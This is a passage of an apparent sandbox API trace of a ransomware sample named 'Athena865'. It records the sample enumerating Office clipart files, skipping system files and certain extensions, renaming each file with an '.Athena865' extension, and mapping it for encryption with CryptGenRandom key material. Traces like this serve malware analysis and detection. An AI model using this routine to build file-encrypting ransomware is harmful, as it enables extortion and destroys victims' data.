phProv=0x241d1c4*=0x54ecc0) returned 1 [0121.642] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0121.642] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.643] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x15d0, lpName=0x0) returned 0x154 [0121.644] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x15d0) returned 0x100000 [0121.645] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0121.645] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0121.645] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.645] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0121.646] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0121.646] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0121.646] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0121.646] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0121.646] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0121.646] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0121.646] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0121.646] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0121.646] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0121.646] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0121.646] CloseHandle (hObject=0x154) returned 1 [0121.646] CloseHandle (hObject=0x17c) returned 1 [0121.646] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0121.646] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0121.646] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0121.647] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1384, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AN04384_.WMF", cAlternateFileName="")) returned 1 [0121.647] lstrcmpiW (lpString1="AN04384_.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0121.647] lstrcmpiW (lpString1="AN04384_.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0121.647] lstrcmpiW (lpString1="AN04384_.WMF", lpString2=".") returned 1 [0121.647] lstrcmpiW (lpString1="AN04384_.WMF", lpString2="..") returned 1 [0121.647] lstrcmpiW (lpString1="AN04384_.WMF", lpString2="windows") returned -1 [0121.647] lstrcmpiW (lpString1="AN04384_.WMF", lpString2="bootmgr") returned -1 [0121.647] lstrcmpiW (lpString1="AN04384_.WMF", lpString2="temp") returned -1 [0121.647] lstrcmpiW (lpString1="AN04384_.WMF", lpString2="pagefile.sys") returned -1 [0121.647] lstrcmpiW (lpString1="AN04384_.WMF", lpString2="boot") returned -1 [0121.647] lstrcmpiW (lpString1="AN04384_.WMF", lpString2="ids.txt") returned -1 [0121.647] lstrcmpiW (lpString1="AN04384_.WMF", lpString2="ntuser.dat") returned -1 [0121.647] lstrcmpiW (lpString1="AN04384_.WMF", lpString2="perflogs") returned -1 [0121.647] lstrcmpiW (lpString1="AN04384_.WMF", lpString2="MSBuild") returned -1 [0121.647] lstrlenW (lpString="AN04384_.WMF") returned 12 [0121.647] lstrcpyW (in: lpString1=0x241e8ae, lpString2="AN04384_.WMF" | out: lpString1="AN04384_.WMF") returned="AN04384_.WMF" [0121.647] lstrlenW (lpString="AN04384_.WMF") returned 12 [0121.647] lstrlenW (lpString="Athena865") returned 9 [0121.647] lstrcmpiW (lpString1="4384_.WMF", lpString2="Athena865") returned -1 [0121.647] lstrlenW (lpString=".dll") returned 4 [0121.647] lstrcmpiW (lpString1="AN04384_.WMF", lpString2=".dll") returned 1 [0121.647] lstrlenW (lpString=".lnk") returned 4 [0121.647] lstrcmpiW (lpString1="AN04384_.WMF", lpString2=".lnk") returned 1 [0121.647] lstrlenW (lpString=".ini") returned 4 [0121.647] lstrcmpiW (lpString1="AN04384_.WMF", lpString2=".ini") returned 1 [0121.648] lstrlenW (lpString=".sys") returned 4 [0121.648] lstrcmpiW (lpString1="AN04384_.WMF", lpString2=".sys") returned 1 [0121.648] lstrlenW (lpString="AN04384_.WMF") returned 12 [0121.648] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF.Athena865") returned 73 [0121.648] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf.athena865"), dwFlags=0x1) returned 1 [0121.649] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0121.649] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4996) returned 1 [0121.649] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0121.649] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0121.649] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0121.649] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0121.650] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0121.650] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.650] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1690, lpName=0x0) returned 0x154 [0121.652] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1690) returned 0x100000 [0121.652] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0121.653] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0121.653] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.653] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0121.653] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0121.653] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0121.653] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0121.653] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0121.653] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0121.653] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0121.654] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0121.654] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0121.654] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0121.654] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0121.654] CloseHandle (hObject=0x154) returned 1 [0121.654] CloseHandle (hObject=0x17c) returned 1 [0121.654] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0121.654] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0121.654] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0121.654] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x138c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AN04385_.WMF", cAlternateFileName="")) returned 1 [0121.654] lstrcmpiW (lpString1="AN04385_.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0121.654] lstrcmpiW (lpString1="AN04385_.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0121.654] lstrcmpiW (lpString1="AN04385_.WMF", lpString2=".") returned 1 [0121.655] lstrcmpiW (lpString1="AN04385_.WMF", lpString2="..") returned 1 [0121.655] lstrcmpiW (lpString1="AN04385_.WMF", lpString2="windows") returned -1 [0121.655] lstrcmpiW (lpString1="AN04385_.WMF", lpString2="bootmgr") returned -1 [0121.655] lstrcmpiW (lpString1="AN04385_.WMF", lpString2="temp") returned -1 [0121.655] lstrcmpiW (lpString1="AN04385_.WMF", lpString2="pagefile.sys") returned -1 [0121.655] lstrcmpiW (lpString1="AN04385_.WMF", lpString2="boot") returned -1 [0121.655] lstrcmpiW (lpString1="AN04385_.WMF", lpString2="ids.txt") returned -1 [0121.655] lstrcmpiW (lpString1="AN04385_.WMF", lpString2="ntuser.dat") returned -1 [0121.655] lstrcmpiW (lpString1="AN04385_.WMF", lpString2="perflogs") returned -1 [0121.655] lstrcmpiW (lpString1="AN04385_.WMF", lpString2="MSBuild") returned -1 [0121.655] lstrlenW (lpString="AN04385_.WMF") returned 12 [0121.655] lstrcpyW (in: lpString1=0x241e8ae, lpString2="AN04385_.WMF" | out: lpString1="AN04385_.WMF") returned="AN04385_.WMF" [0121.655] lstrlenW (lpString="AN04385_.WMF") returned 12 [0121.655] lstrlenW (lpString="Athena865") returned 9 [0121.655] lstrcmpiW (lpString1="4385_.WMF", lpString2="Athena865") returned -1 [0121.655] lstrlenW (lpString=".dll") returned 4 [0121.655] lstrcmpiW (lpString1="AN04385_.WMF", lpString2=".dll") returned 1 [0121.655] lstrlenW (lpString=".lnk") returned 4 [0121.655] lstrcmpiW (lpString1="AN04385_.WMF", lpString2=".lnk") returned 1 [0121.655] lstrlenW (lpString=".ini") returned 4 [0121.655] lstrcmpiW (lpString1="AN04385_.WMF", lpString2=".ini") returned 1 [0121.655] lstrlenW (lpString=".sys") returned 4 [0121.655] lstrcmpiW (lpString1="AN04385_.WMF", lpString2=".sys") returned 1 [0121.655] lstrlenW (lpString="AN04385_.WMF") returned 12 [0121.655] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF.Athena865") returned 73 [0121.655] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf.athena865"), dwFlags=0x1) returned 1 [0121.656] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0121.656] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5004) returned 1 [0121.657] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0121.657] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0121.657] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0121.657] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0121.657] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0121.658] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.658] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1690, lpName=0x0) returned 0x154 [0121.660] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1690) returned 0x100000 [0121.660] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0121.661] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0121.661] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.661] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0121.661] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0121.661] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0121.661] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0121.661] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0121.662] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0121.662] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0121.662] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0121.662] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0121.662] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0121.662] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0121.662] CloseHandle (hObject=0x154) returned 1 [0121.662] CloseHandle (hObject=0x17c) returned 1 [0121.662] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0121.662] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0121.662] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0121.662] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfc41400, ftCreationTime.dwHighDateTime=0x1bd4c15, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcfc41400, ftLastWriteTime.dwHighDateTime=0x1bd4c15, nFileSizeHigh=0x0, nFileSizeLow=0x1cd8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BABY_01.MID", cAlternateFileName="")) returned 1 [0121.663] lstrcmpiW (lpString1="BABY_01.MID", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0121.663] lstrcmpiW (lpString1="BABY_01.MID", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0121.663] lstrcmpiW (lpString1="BABY_01.MID", lpString2=".") returned 1 [0121.663] lstrcmpiW (lpString1="BABY_01.MID", lpString2="..") returned 1 [0121.663] lstrcmpiW (lpString1="BABY_01.MID", lpString2="windows") returned -1 [0121.663] lstrcmpiW (lpString1="BABY_01.MID", lpString2="bootmgr") returned -1 [0121.663] lstrcmpiW (lpString1="BABY_01.MID", lpString2="temp") returned -1 [0121.663] lstrcmpiW (lpString1="BABY_01.MID", lpString2="pagefile.sys") returned -1 [0121.663] lstrcmpiW (lpString1="BABY_01.MID", lpString2="boot") returned -1 [0121.663] lstrcmpiW (lpString1="BABY_01.MID", lpString2="ids.txt") returned -1 [0121.663] lstrcmpiW (lpString1="BABY_01.MID", lpString2="ntuser.dat") returned -1 [0121.663] lstrcmpiW (lpString1="BABY_01.MID", lpString2="perflogs") returned -1 [0121.663] lstrcmpiW (lpString1="BABY_01.MID", lpString2="MSBuild") returned -1 [0121.663] lstrlenW (lpString="BABY_01.MID") returned 11 [0121.663] lstrcpyW (in: lpString1=0x241e8ae, lpString2="BABY_01.MID" | out: lpString1="BABY_01.MID") returned="BABY_01.MID" [0121.663] lstrlenW (lpString="BABY_01.MID") returned 11 [0121.663] lstrlenW (lpString="Athena865") returned 9 [0121.663] lstrcmpiW (lpString1="BY_01.MID", lpString2="Athena865") returned 1 [0121.663] lstrlenW (lpString=".dll") returned 4 [0121.663] lstrcmpiW (lpString1="BABY_01.MID", lpString2=".dll") returned 1 [0121.663] lstrlenW (lpString=".lnk") returned 4 [0121.663] lstrcmpiW (lpString1="BABY_01.MID", lpString2=".lnk") returned 1 [0121.663] lstrlenW (lpString=".ini") returned 4 [0121.663] lstrcmpiW (lpString1="BABY_01.MID", lpString2=".ini") returned 1 [0121.663] lstrlenW (lpString=".sys") returned 4 [0121.663] lstrcmpiW (lpString1="BABY_01.MID", lpString2=".sys") returned 1 [0121.663] lstrlenW (lpString="BABY_01.MID") returned 11 [0121.664] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID.Athena865") returned 72 [0121.664] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\baby_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\baby_01.mid.athena865"), dwFlags=0x1) returned 1 [0121.668] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\baby_01.mid.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0121.668] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7384) returned 1 [0121.668] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0121.668] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0121.668] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0121.668] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0121.669] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0121.669] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.669] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1fe0, lpName=0x0) returned 0x154 [0121.673] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1fe0) returned 0x100000 [0121.674] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0121.675] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0121.675] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.675] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0121.675] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0121.675] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0121.675] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0121.675] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0121.675] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0121.675] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0121.675] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0121.675] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0121.675] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0121.676] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0121.676] CloseHandle (hObject=0x154) returned 1 [0121.676] CloseHandle (hObject=0x17c) returned 1 [0121.676] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0121.676] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0121.676] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0121.676] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1306, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BD00116_.WMF", cAlternateFileName="")) returned 1 [0121.676] lstrcmpiW (lpString1="BD00116_.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0121.676] lstrcmpiW (lpString1="BD00116_.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0121.676] lstrcmpiW (lpString1="BD00116_.WMF", lpString2=".") returned 1 [0121.676] lstrcmpiW (lpString1="BD00116_.WMF", lpString2="..") returned 1 [0121.676] lstrcmpiW (lpString1="BD00116_.WMF", lpString2="windows") returned -1 [0121.676] lstrcmpiW (lpString1="BD00116_.WMF", lpString2="bootmgr") returned -1 [0121.676] lstrcmpiW (lpString1="BD00116_.WMF", lpString2="temp") returned -1 [0121.676] lstrcmpiW (lpString1="BD00116_.WMF", lpString2="pagefile.sys") returned -1 [0121.676] lstrcmpiW (lpString1="BD00116_.WMF", lpString2="boot") returned -1 [0121.676] lstrcmpiW (lpString1="BD00116_.WMF", lpString2="ids.txt") returned -1 [0121.676] lstrcmpiW (lpString1="BD00116_.WMF", lpString2="ntuser.dat") returned -1 [0121.676] lstrcmpiW (lpString1="BD00116_.WMF", lpString2="perflogs") returned -1 [0121.676] lstrcmpiW (lpString1="BD00116_.WMF", lpString2="MSBuild") returned -1 [0121.677] lstrlenW (lpString="BD00116_.WMF") returned 12 [0121.677] lstrcpyW (in: lpString1=0x241e8ae, lpString2="BD00116_.WMF" | out: lpString1="BD00116_.WMF") returned="BD00116_.WMF" [0121.677] lstrlenW (lpString="BD00116_.WMF") returned 12 [0121.677] lstrlenW (lpString="Athena865") returned 9 [0121.677] lstrcmpiW (lpString1="0116_.WMF", lpString2="Athena865") returned -1 [0121.677] lstrlenW (lpString=".dll") returned 4 [0121.677] lstrcmpiW (lpString1="BD00116_.WMF", lpString2=".dll") returned 1 [0121.677] lstrlenW (lpString=".lnk") returned 4 [0121.677] lstrcmpiW (lpString1="BD00116_.WMF", lpString2=".lnk") returned 1 [0121.677] lstrlenW (lpString=".ini") returned 4 [0121.677] lstrcmpiW (lpString1="BD00116_.WMF", lpString2=".ini") returned 1 [0121.677] lstrlenW (lpString=".sys") returned 4 [0121.677] lstrcmpiW (lpString1="BD00116_.WMF", lpString2=".sys") returned 1 [0121.677] lstrlenW (lpString="BD00116_.WMF") returned 12 [0121.677] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF.Athena865") returned 73 [0121.677] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf.athena865"), dwFlags=0x1) returned 1 [0121.679] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0121.679] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4870) returned 1 [0121.679] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0121.679] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0121.680] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0121.680] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, 